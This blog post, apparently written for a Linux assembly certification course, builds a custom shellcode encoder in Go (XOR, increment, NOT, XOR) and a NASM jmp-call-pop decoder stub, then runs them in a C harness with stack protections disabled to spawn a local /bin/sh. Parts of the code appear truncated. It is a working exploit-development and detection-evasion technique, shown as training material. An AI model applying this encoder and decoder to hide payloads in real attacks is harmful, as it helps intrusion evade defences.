In this post, we will discuss custom encoding. The premise is simple: A client side encoder will encode the shellcode. This encoded shellcode will be embedded in the exploit. The exploit will also contain the decoder. So, during execution, the decoder will decode the encoded shellcode to its original form and then pass on the control to shellcode for execution.

For this, any encoding technique can be used. Let’s dive straight into it.

The Encoder !

First up is the encoder. As mentioned, our aim to think of an encoding scheme and then encode our shellcode using it. For this, I have decided to keep the encoding scheme simple to demonstrate the proof of concept. We will encode the shellcode using following technique/operations.

To encode the raw shellcode, I have written a script Go. The Go script has been hardcoded with execve shellcode. The shellcode uses exeve syscall to spawn shell(/bin/sh) on local system. However, the hardcoded shellcode can be swapped with any other shellcode to get an encoded payload. For this, I have modified the original Commandlinefu as mentioned in previous post to convert shellcode in to an output which can be directly embedded in my Go code. The updated command is also published at Commandlinefu

Following is the Go code:

Tool:				Custom Encoder
Encoding Scheme:	XOR with 0xaa -> Increment by 1 -> NOT -> XOR with 0xaa
Author:				Mohit Suyal (@mosunit)
Student ID:			PA-16521

package main

import (

func main() {

	// exeve_sh shellcode - spawns shell(/bin/sh) on localhost
	Shellcode := []byte{0x31, 0xc0, 0x50, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3, 0x50, 0x89, 0xe2, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80}

	// key for XOR operation
	var key byte = 0xaa

	// create a slice to store encoded shellcode
	EncodedShellcode := make([]byte, 25)

	// encode operation
	for i := range Shellcode {

		XorFirst := Shellcode[i] ^ key
		Increment := XorFirst + 1
		Not := ^Increment
		XorSecond := Not ^ key
		EncodedShellcode[i] = XorSecond

	// format the encoded code - to be included in shellcode program
	for i := range EncodedShellcode {
		// check the index value to match the last element of the slice
		// this if statement is true for all index values except the last
		if i != len(EncodedShellcode)-1 {
			// Check if the hex coversion of slice element will be less than 2 digits; append an additional "0", if true
			if EncodedShellcode[i] < 16 {
				fmt.Printf("0x0%x,", EncodedShellcode[i])
			} else {
				fmt.Printf("0x%x,", EncodedShellcode[i])
		} else {
			if EncodedShellcode[i] < 16 {
				fmt.Printf("0x0%x", EncodedShellcode[i])
			} else {
				fmt.Printf("0x%x", EncodedShellcode[i])

Once the code is run, we get the encoded shellcode.

PS E:\<snipped>\SLAE\assignment-4> go run .\custom_encoder.go

So, we are done with the encoding part. We have our encoded shellcode ready, which is nothing but gibberish instructions.

The Decoder !

Our next task is to write a decoder stub that decodes this encoded shellcode at runtime to transform it into original raw shellcode. The steps to be followed will be reverse of what we did in the encoding part.

The assembly code is as follows:

;Tool:                  Custom Encoder
;ncoding Scheme:        XOR with 0xaa -> Increment by 1 -> NOT -> XOR with 0xaa
;uthor:                 Mohit Suyal (@mosunit)
;Student ID:            PA-16521

global _start

section .text


jmp short shellcode

        ; retrive address of encoded shellcode using jmp-call-pop technique
        pop esi

        ; first operation - XOR with 0xaa
        xor byte [esi], 0xaa

        ; jump when xored with dummy byte - signifies end of shellcode
        ; pass the control for execution when complete shellcode is decoded
        jz encoded_shellcode

        ; second operatino - NOT
        not byte [esi]

        ; third operation - decrement by 1 byte
        dec byte [esi]

        ; fourth operation - XOR with 0xaa
        xor byte [esi], 0xaa

        ; counter to increament to next byte in shellcode
        inc esi

        ; decode loop
        jmp short decode_stub

        call decoder

        ; encoded shellcode
        ; shellcode ends with dummy byte 0xaa - signifies end of shellcode
        encoded_shellcode: db 0xc9,0x3e,0xae,0x96,0x90,0xd3,0x8f,0x96,0x96,0xd3,0xd3,0x9c,0x91,0x71,0x1f,0xae,0x71,0x1c,0xaf,0x71,0x19,0x4e,0xf7,0x3d,0x7e,0xaa

Let me explain what is going on here:

  1. We use db(define byte) to input our encoded shellcode that we generated in the last step. One key point to note here is that we add an additional byte (0xaa) at the end of shellcode. This is a dummy byte which signifies the end of shellcode. We will use this with XOR operation later to check if the entire shellcode has been decoded or not. Based upon the answer, we will make further decisions
  2. We use jmp-call-pop technique to get the address of the encoded shellcoded. In the last step, the address of encoded shellcode is popped in ESI register using POP ESI instruction.
  3. Next is the decoder stub whose task is to decode the encoded shellcode and once encoded, pass the execution to the raw/original shellcode for execution.
    • The decoder reverses the order and operation that was performed to encode the shellcode. The operation sequence has already been highlighted in the flow diagram above.
    • One key point here is that after we XOR a byte with 0xaa in first step, we check if the output is zero or zero flag is set; which will happen when the decoder stub encounters the dummy byte (0xaa).If yes, we know that we have reached the end of shellcode and the entire encoded shellcode has been decoded. In such case, the execution flow is redirected to the start of encoded shellcode.

Let’s assemble, link and extract the shellcode. The shellcode is extracted using this Commandlinefu.

root@kali:~/slae/assignments/assignment-4# nasm -elf32 -o custom_encoder custom_encoder.nasm
root@kali:~/slae/assignments/assignment-4# ld -o custom_encoder custom_encoder.o
root@kali:~/slae/assignments/assignment-4# file custom_encoder
custom_encoder: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
root@kali:~/slae/assignments/assignment-4# objdump -d custom_encoder |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

We have the shellcode with us. Let’s put this in our skeleton C program to check if this runs successfully.

#include <stdio.h>
#include <string.h>

unsigned char code[] = \


        printf("Shellcode length: %d\n", strlen(code));
        int (*ret)() = (int(*)())code;

The final step is to compile this using gcc and then run it. We need to add fno-stack-protector to unprotect the stack and execstack to make the stack executable.

root@kali:~/slae/assignments/assignment-4# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
    7 | main()
      | ^~~~
root@kali:~/slae/assignments/assignment-4# ./shellcode
Shellcode length: 49
# id
uid=0(root) gid=0(root) groups=0(root)
# ps
  PID TTY          TIME CMD
 1075 pts/3    00:00:00 bash
 8840 pts/3    00:00:00 sh
 8848 pts/3    00:00:00 ps

There we have it ! Our encoded shellcode was decoded successfully at runtime and then executed.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: PA-16521

The code is also stored at GitHub. Thanks for reading !

Leave a Reply

Your email address will not be published. Required fields are marked *